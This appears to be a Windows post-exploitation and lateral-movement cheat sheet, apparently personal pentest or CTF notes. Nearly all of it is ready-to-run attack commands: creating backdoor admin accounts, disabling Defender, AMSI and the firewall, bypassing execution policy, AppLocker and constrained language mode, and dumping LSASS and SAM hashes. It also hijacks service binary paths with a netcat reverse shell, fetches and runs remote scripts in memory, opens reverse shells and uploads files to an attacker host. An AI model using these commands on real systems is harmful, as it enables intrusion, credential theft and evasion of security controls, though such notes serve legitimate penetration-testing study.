Lateral Movement
01. Common commands
01.1 OS Enumerations
## ------------------| Get Basic details
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
whoami /all
[System.Environment]::OSVersion.Version
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsHardwareAbstractionLayerVersion
(Get-ItemProperty "HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion").ReleaseId
## ------------------| Get environment paths
##[Powershell]
Get-ChildItem Env: | ft Key,Value
dir env:
## ------------------| Get .Net Version (cmd/ps)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
## ------------------| Get System Architecher 32 or 64
##[Powershell]
$env:PROCESSOR_ARCHITECTURE
[Environment]::Is64BitProcess
[Environment]::Is64BitOperatingSystem
##[cmd]
set processor
## ------------------| Extract os patchs and updates
wmic qfe
## ------------------| List all installed software with patches (
wmic product get name, version, vendor
## ------------------| List all disk
mountvol
wmic logicaldisk get caption,description,providername
## ------------------| List firewall state and current configuration
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
01.2 User Enumerations
## ------------------| Get current username
echo %USERNAME% || whoami
$env:username
## ------------------| List user info
net user <UserName>
## ------------------| Get userprofile (home) directory
write-host $env:USERPROFILE
## ------------------| List user privilege
whoami /priv
whoami /groups
## ------------------| List all users
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
## ------------------| List logon requirements
net accounts
## ------------------| List all local groups
net localgroup
Get-LocalGroup | ft Name
## ------------------| Get details about a group
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
## ------------------| Get Domain Controllers
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
## ------------------| Get Domain Users
net view /domain
net view /domain:DomainName
Create user
## ------------------| Add h4rithd as admin user + psexec
wget https://gist.githubusercontent.com/h4rithd/90379a35fd6d9950d2de6e62f38ebff8/raw/48df3adf04a819842cccd1ef34e7e927074e7e89/CrazyUser.c
## 64-bit: x86_64-w64-mingw32-gcc CrazyUser.c -o CrazyUser.exe -lnetapi32
## 32-bit: i686-w64-mingw32-gcc CrazyUser.c -o CrazyUser.exe -lnetapi32
## ------------------| Local account
## Crearte local user
net user /add harith Password@123
## Add to the admin group
net localgroup administrators harith /add
## Add to the Remote Desktop Users
net localgroup "Remote Desktop Users" harith /add
## ------------------| Domain account
## This commands can be used only on a Windows Domain Controller
net user h4rithd Passw0rD$ /add /domain
# Check members on
net group "Exchange Windows Permissions"
# Add members to
net group "Exchange Windows Permissions" /add h4rithd
Login as another user
## ------------------| If you have RDP
runAs /user:h4rithd cmd.exe
powershell.exe Start-Process cmd.exe -Verb runAs /user:h4rithd
## ------------------| Using RunasCs
#### Using RunasCs.exe
## .Net v2.0
wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v2.0/RunasCs.exe
## .Net v4.0
wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v4.0/RunasCs.exe
RunasCs.exe <UserName> <Password> "cmd /c whoami"
RunasCs.exe <UserName> <Password> cmd -r <IP>:4545
#### Using powershell scipt
wget https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-RunasCs.ps1')
Invoke-RunasCs <UserName> <Password> "cmd /c whoami"
Invoke-RunasCs -Username user1 -Password password1 -Command cmd.exe -Remote <IP>:4545
## ------------------| Create Creds Object
$env:ComputerName
$user = "ComputerName\USERNAME" # It's better to use with $user = "<hostname>\<username>"
$pass = "PASSWORD"
$secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force
$Creds = New-Object System.Management.Automation.PSCredential($user,$secStringPass)
## OR -----------------------------------------------------------------------------------------------------
$pass = convertto-securestring -AsPlainText -Force -String "PASSWORD"
$Creds = New-Object -TypeName System.Management.Automation.PSCredential - ArgumentList "ComputerName\USERNAME",$pass
## ------------------| Use the Creds Object for activities
### Get Hostname using hostname command
Invoke-Command -Credential $Creds -ComputerName <IP/LOCALHOST or Hostname> -ScriptBlock { whoami }
Enter-PSSession -Credential $Creds -ComputerName <IP/LOCALHOST or Hostname>
Start-Process -Credential $Creds -FilePath Powershell -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.22/rev.ps1')"
## Double hop access (Authentication CredSSP)
Invoke-Command -ComputerName helpline -Authentication CredSSP -credential $cred -ScriptBlock { whoami }
Change password
$pass = ConvertTo-SecureString 'Pas$word!' -asPlainText -Force
Set-DomainUserPassword Herman -AccountPassword $pass -Verbose
Stored Credentials | Saved Creds
cmdkey /list
runas /savecred /user:<USERNAME> C:\<PATH>\shell.exe
01.3 Network Enumeration
## ------------------| List all listening ports
netstat -ano | findstr /i listen
netstat -anop tcp
## ------------------| List all network interfaces, IP, and DNS.
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
## ------------------| List current routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
## ------------------| List the ARP table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
## ------------------| List all network shares
net share
powershell Find-DomainShare -ComputerDomain domain.local
## ------------------| SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Turn on RDP
## ------------------| Enable the RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
## ------------------| Enable authentication via RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
## ------------------| Enable RDP through the Windows Firewall
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
## ------------------| Using MSF
use post/windows/manage/enable_rdp
set Username h4rithd
set Password Password123!
set SESSION 1
info
run
## ------------------| Login to the RDP
rdesktop -g 1920x1080 <IP>
Ping sweeper
## ------------------| Genaral
1..255 | % {echo "192.168.1.$_"; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl
## ------------------| Parallel ping sweeper
workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl
## ------------------| Multi-subnet ping sweeper with OS Detection
0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} }
Export DNS Zones
Get-DNSServerZone
Export-DnsServerZone -Name localnet.domain -FileName dns-export.txt
## File was exported to C:\Windows\system32\dns\dns-export.txt
Responder [Inveigh]
wget https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Inveigh.ps1')
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y -LogOutput Y -FileOutput Y
01.4 Process / Service Enumeration
## ------------------| List all Process
Get-Process -name firefox
tasklist /v | findstr smss
ps | findstr smss
## ------------------| List all services
Get-Service
sc query state=all
get-wmiobject win32_service
## If all above commands are failed; try following
Set-Location 'HKLM:\SYSTEM\CurrentControlSet\Services'
Get-ChildItem . | select name
Get-ChildItem . | where-object { $_.Name -like '*EnterServiceNameHere*'
## ------------------| Processes are running as "system"
tasklist /v /fi "username eq system"
## ------------------| Kill process
taskkill /f /im:filename.exe
## ------------------| Scheduled Tasks
### List all tasks
schtasks /query /fo LIST /v
### Run task
schtasks /RUN /RN "\NameHere"
## ------------------| Start Service (Stop,Restart)
## Get Display Name using above methord
Stop-Service "Ubiquiti UniFi Video"
Start-Service "Ubiquiti UniFi Video"
net stop EnterServiceNameHere
net start EnterServiceNameHere
sc.exe stop EnterServiceNameHere
sc.exe start EnterServiceNameHere
## ------------------| Examine basic service properties
Get-Service nscp | fl *
## ------------------| List loaded assemblies
[appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname
## ------------------| List only running services
Get-Service | where {$_.Status -eq "Running"}
wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V "''"
Modifiable Services
## ------------------| Modify the UsoSvc service bin path
sc.exe config UsoSvc binpath="cmd.exe /c powershell -EncodedCommand SQBFAFgAKABOA.....ApAA=="
## ------------------| Restart the UsoSvc service
sc.exe stop UsoSvc
sc.exe start UsoSvc
Dump process
## ------------------| Dump Process using rundll32
get-process
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> <PATH-TO-SAVE-FILE> full
## Dumping Lsass Without Mimikatz]
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\Users\Public\Documents\lsass.dmp
## ------------------| Dump Process using ProcDump
./procdump.exe -accepteula -ma <PID>
List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
01.5 Registry Enumeration
Service Registry Enumeration
## ------------------| Check if user has FullControl
accesschk.exe "<USER>" -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
## or -----------------------------------------------------------
$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services; ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
## ------------------| Find a serive I can restart
$cmd = "C:\inetpub\wwwroot\uploads\nc.exe 10.10.14.187 444 -e powershell.exe"\
# Create a list of services
$otp = ./accesschk.exe "Hector" -kvuqsv hklm:\System\CurrentControlSet\Services
$services = $otp.Split([Environment]::NewLine)
# Lopp through each service
foreach($service in $services) {
# If the current line is not a service, skip it
if(!$service.StartsWith("RW HKLM")) {
continue
}
# Validate that the line is indeed a service
$name = $service.Split("\\")[-1].Split([Environment]::NewLine)[0]
$s = Get-Service -Name $name -ErrorAction SilentlyContinue
if(!$s) {
continue
}
echo $service
$serv = $service.Split(" ")[-1].Split([Environment]::NewLine)[0]
echo $serv
# Attempt to exploit the service:
# 1. Change the service's binary path to $cmd
# 2. Restart the service
if($s.Status -eq 'Running') {
reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd" /f >a.txt
if((Get-Service -Name $name).Status -eq 'Running') {
Get-Service -Name $name | Stop-Service -ErrorAction SilentlyContinue
Write-Host "[STOP] "$name
}
} elseif ($s.Status -eq 'Stopped') {
reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd" /f >a.txt
if((Get-Service -Name $name).Status -eq 'Stopped') {
Get-Service -Name $name | Start-Service -ErrorAction SilentlyContinue
Write-Host "[START] "$name
}
}
}
01.6 File Enumeration
## ------------------| List all file include hidden ones
dir -force
dir /b/s C:\ flag.txt
where /R C:\ flag.txt
gci -r . user.txt
gci -recurse | select FullName
gci -recurse C:\Users\ user.txt
Get-ChildItem -Path C:\Users -Recurse -Include root.txt,user.txt | select Fullname
## ------------------| List 8.3 filename generation (~)
cmd /c dir /X
## ------------------| Get file stream data
cmd /c dir /r
Get-Item <FileName> -Stream *
Get-Content <FileName> -Stream <StreamName>
## ------------------| List all files only has extention
gci -recurse -include *.* | select FullName
## ------------------| Replace some word (sed)
((cat ..\path\to\file.txt -Raw) -replace 'foo', 'bar') | sc -path ..\path\to\new\file.txt
## ------------------| List all installed drivers / version
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start mode', Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
Advance search
## ------------------| Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
## ------------------| Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
## ------------------| Search for strings inside files
IWR -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Find-Strings.ps1" -OutFile "Find-Strings.ps1"
.\Find-Strings.ps1 -stopAt "5"
.\Find-strings.ps1 -Path "$Env:TMP" -String "pass=|passwd=|password="
.\Find-strings.ps1 -Path "$Env:USERPROFILE" -String "[^$]password="
## ------------------| Find GPP Passwords in SYSVOL
dir "C:\ProgramData\Microsoft\Group Policy\History\"
findstr /S cpassword $env:logonserver\sysvol\*.xml
findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)
findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
## ------------------| Search Windows Autologin
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr "DefaultUserName DefaultDomainName DefaultPassword"
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
## ------------------| Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
## ------------------| Search SNMP parameters
REG QUERY "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
## ------------------| Search Putty clear text proxy credentials
REG QUERY "HKCU\Software\SimonTatham\PuTTY\Sessions"
## ------------------| Search VNC credentials
REG QUERY "HKCU\Software\ORL\WinVNC3\Password"
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
REG QUERY HKLM /f password /t REG_SZ /s
REG QUERY HKCU /f password /t REG_SZ /s
## ------------------| Search Insecure File Permissions (check World Writeble)
### Tool : https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uws "Everyone" "C:\Program Files"
## ------------------| Backup Sticky Notes
### Win 10 New (Version 1607)
cd C:\Users\<USERNAME>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
### Win 10/7/8 (Version 1511)
cd C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Sticky Notes
## copy all plum.* files; then use sqlite to extrack
Weak Permission
## ------------------| File\Folder
icacls "C:\Program Files (x86)\*" 2>null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls "C:\Program Files\*" 2>null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
## ------------------| Service
wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'} | findstr "Program"
icacls "C:\Program Files (x86)\*" 2>null | findstr "BUILTIN\Users:(I)(F)"
icacls "C:\Program Files\*" 2>null | findstr "BUILTIN\Users:(I)(F)"
Set / Check permissions
## ------------------| Check
Get-ACL folder-or-file-name | FL *
Get-ACL root.txt | FL AccessToString
## ------------------| Set Full-Control
cacls root.txt /t /e /p UserName:F
## ------------------| Remove user from ACL
cacls root.txt /e /r UserName
#---------------- cacls Commands Help
# /e Edit an ACL instead of replacing it.
# /t Changes ACLs of specified files in the current directory and all subdirectories.
# /p user:<perm> Replace specified user's access rights, including these valid values for permission:
# |-> n - None
# |-> r - Read
# |-> w - Write
# |-> c - Change (write)
# |-> f - Full control
## ------------------| Search Insecure File Permissions (check World Writeble)
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
Enumerate Shortcut (
.lnk
)
$Wscript = New-Object -ComObject Wscript.Shell
$shortcut = Get-ChildItem *.lnk
$Wscript.CreateShortcut($shortcut)
Compress & Extract zip file
## ------------------| Compress
Compress-Archive -LiteralPath <PathToFiles> -DestinationPath <PathToDestination>.zip
## ------------------| Extract / Unzip
Expand-Archive -LiteralPath <PathToZipFile>.zip -DestinationPath <PathToDestination>
01.7 Firewall / Defender
01.7.1 Firewall
## ------------------| List firewall state and current configuration
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
## ------------------| List firewall rules
Get-NetFirewallPortFilter
Get-NetFirewallRule
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
## ------------------| Add firewall rule to open 3306 port
netsh advfirewall firewall add rule name"forward_port_rule" protocol=TCP dir=in localip=<compromised_ip> localport 3306 action=alow
## ------------------| Disable Firewall on Windows 7 via cmd
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
## ------------------| Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
## ------------------| Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
## ------------------| Enable (psexec) access to $ADMIN C$, IP$ (Windows Administrative Shares)
REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
## ------------------| List firewall's blocked ports
powershell -c "$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports;$f"
powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}}, @{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}}, @{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Enabled, Profile, Direction, Action"
01.7.2 Antivirus & Detections | Disable Defender
## ------------------| Check Defender Status
Get-MpComputerStatus
## ------------------| Check Defender Exclusions List
Get-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -Property ExclusionPath | Format-Table -AutoSize
## ------------------| Disable Defender
cd "C:\Progra~1\Windows Defender"
.\mpcmdrun.exe -RemoveDefinitions -All
## ------------------| Disable scanning all downloaded files and attachments, disable AMSI (reactive)
Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
Set-MpPreference -DisableIOAVProtection $true
## ------------------| Disable AMSI (set to 0 to enable)
Set-MpPreference -DisableScriptScanning 1
## ------------------| Exclude a Folder, Extension or Process
Add-MpPreference -ExclusionPath "C:\Windows\Temp" -Force
Add-MpPreference -ExclusionPath "C:\Windows\Tasks" -Force
Add-MpPreference -ExclusionPath "C:\Windows\Temp\h4rithd" -Force
Set-MpPreference -ExclusionProcess "mimikatz.exe", "winPEAS.exe" -Force
Add-MpPreference -ExclusionExtension "exe" -Force
## ------------------| Remove signatures (if Internet connection is present, they will be downloaded again):
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
01.8 Default Locations
## ------------------| Powershell Default locations
[x86] C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
[x64] C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[x64] C:\windows\sysnative\windowspowershell\v1.0\powershell.exe
## ------------------| Default Writeable Folders
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
## ------------------| Passwords in unattend.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
## ------------------| Sticky Notes passwords
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
## ------------------| Powershell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
World writable directories (for AnyUsers)
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\system32\spool\drivers\color
C:\Users\PublicPort Forward
C:\Users\Public\Documents
C:\Windows\tracing
C:\Windows\Tasks
C:\Windows\Temp
C:\programdata
01.9 Policy Bypassing
PowerShell Execution Policy Bypass
## ------------------| Check/Set Execution Policy Status
Set-ExecutionPolicy RemoteSigned # To set the policy to RemoteSigned.
Set-ExecutionPolicy Unrestricted # To set the policy to Unrestricted.
Get-ExecutionPolicy # To verify the current settings for the execution policy.
Get-ExecutionPolicy -List | Format-Table -AutoSize
## ------------------| How to bypass
## 0) If you have evil-winrm access; copy rev.ps1 file to current directory. then
evil-winrm -i <IP> -u <USERNAME> -p <PASSWORD> -s $(pwd)
rev.ps1
menu
## 1) Copy & Paste the Script into an Interactive PowerShell Console
## 2) Read Script from a File and Pipe to PowerShell Standard In
Get-Content rev.ps1 | PowerShell.exe -noprofile -
type rev.ps1 | PowerShell.exe -noprofile -
## 3) Download Script from URL and Execute with Invoke Expression
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<IP>/rev.ps1')"
## 3) Use the “Bypass” Execution Policy Flag
PowerShell.exe -ExecutionPolicy Bypass -File .\rev.ps1
Bypass the App Locker Group Policy
## ------------------| Check App locker status
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
## ------------------| Bypass | Move file to following paths
C:\Windows\Temp
C:\Windows\Tasks
C:\windows\tracing
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\Registration\CRMLog
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
C:\Windows\System32\Tasks_Migrated # after peforming a version upgrade of Windows 10
## ------------------| Bypass using Powerview
cp /opt/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1 .
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/Invoke-ReflectivePEInjection.ps1')
$PEBytes = [IO.File]::ReadAllBytes('full\path\for\application.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes
## Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
## ------------------| More info
https://github.com/api0cradle/UltimateAppLockerByPassList
PowerShell Constrained Language Mode Bypass.
## ------------------| Verify ConstrainedLanguage mode enabled?
$ExecutionContext.SessionState.LanguageMode
## ------------------| Methord 01
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://<IP>/rev.ps1')
## ------------------| Methord 02
## You can run commands inside the function like this -> function test { whoami } and this equel to &{ whoami }
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
echo -e "Invoke-PowerShellTcp -Reverse -IPAddress <HostIP> -Port 4545" >> rev.ps1
python3 -m http.server 80
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://<HostIP>/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
&{ powershell -enc JABzAG0...Sad== }
## ------------------| Using PsBypassCLM
wget https://github.com/h4rithd/PrecompiledBinaries/blob/main/PSBypassCLM/PsBypassCLM.exe
### Execute
### Place the binary in C:\Windows\Tasks\PsBypassCLM.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Windows\Tasks\PsBypassCLM.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.38 /rport=4545 /U C:\Windows\Tasks\PsBypassCLM.exe
UAC Bypass
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
## Bypasing
https://github.com/hfiref0x/UACME
https://docs.h4rithd.com/windows/privilageesc-windows#01.-common-tricks
01.10 Upload / Download / Execute
Upload file.
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:/<PATH>/BloodHound.zip' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.14.25:443 -Method POST -Body $b64
## Download file with netcat
echo <base64> | base64 -d -w 0 > bloodhound.zip
## ------------------| The Background Intelligent Transfer Service (BITS)
Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
Download file
## ------------------| Old version (support for any version)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.63/nc.exe', 'C:\Users\Public\nc.exe')"
## ------------------| New version (alias IWR)
powershell -c "Invoke-WebRequest http://10.10.14.26/nc.exe -OutFile C:\Users\Public\nc.exe"
## ------------------| Executed in memory (alias IEX)
powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.25/revshell.ps1')"
powershell -c "Invoke-WebRequest http://10.10.14.25/revshell.ps1 | iex"
## ------------------| Internet Explorer’s First Run error (-useBasicParsing)
powershell -c "IWR -useBasicParsing http://10.10.14.26/nc.exe -o C:\Users\Public\nc.exe"
### If you have admin access you can disable Internet Explorer’s First Run customization
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2
## ------------------| CMD ways
certutil -urlcache -split -f http://10.10.14.26/nc.exe C:\Users\Public\nc.exe
## ------------------| Using Curl
powershell curl http://10.10.14.11/rev.ps1
## ------------------| The Background Intelligent Transfer Service (BITS)
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
Import-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"
Execute file
## ------------------| Remote
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/SharpHound.ps1')
## ------------------| Local
.\rev.ps1
Import-Module .\rev.ps1
01.11 Encoding / Decoding
Encoded Payload
## ------------------| Encode the payload
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
## ------------------| Run the payload
powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==
Encode file to base64
## ------------------| Method I
powershell -c [convert]::ToBase64String((cat C:\windows\system32\license.rtf -Encoding byte))
## ------------------| Method II
certutil -encode C:\windows\system32\license.rtf license-b64.out
## ------------------| Method III
$fc = Get-Content "file name.txt"
$fc
$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
[System.Convert]::ToBase64String($fe)
Decode secure password (
SecureString
)
## ------------------| From SecureString.xml
$file = Import-CliXml -Path string.xml
$file.GetNetworkCredential().Password
$file.GetNetworkCredential().Flag
## ------------------|
$pw = gc admin-pass.xml | ConvertTo-SecureString
$cred = New-Object System.Management.Automation.PSCredential("Administrator", $pw)
$cred.GetNetworkCredential() | fl *
## ------------------|
$user = "USERNAME"
$pass = "PASSWORD"
$secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user,$secStringPass)
$cred | fl
$cred.GetNetworkCredential() | fl
## ------------------| If you only have the secure string
$user = "<username>"
$pass = ConvertTo-SecureString <SecureStringPassword>
$cred = New-Object System.Management.Automation.PSCredential($user,$pass)
$cred.GetNetworkCredential() | fl
01.12 Dumping Credentials
Dump
SAM
andSYSTEM
files
REG SAVE HKLM\SYSTEM SYSTEM
REG SAVE HKLM\SAM SAM
# Get hashes
impacket-secretsdump -sam SAM -system SYSTEM local
impacket-secretsdump -sam SAM -system SYSTEM -history local
With Out-Minidump.ps1
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1
IEX(New-Object Net.Webclient).DownloadString('http://<IP>/Out-Minidump.ps1')
Get-Process lsass | out-minidump
With Procdump
## ------------------| Get PID
tasklist | findstr /i lsas
## ------------------| Dump to file
procdump64.exe -accepteula -ma <PID> lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
## ------------------| Extract hashes
pypykatz lsa minidump lsass.dmp
mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonpasswords"
With Dumpert
wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert.dll
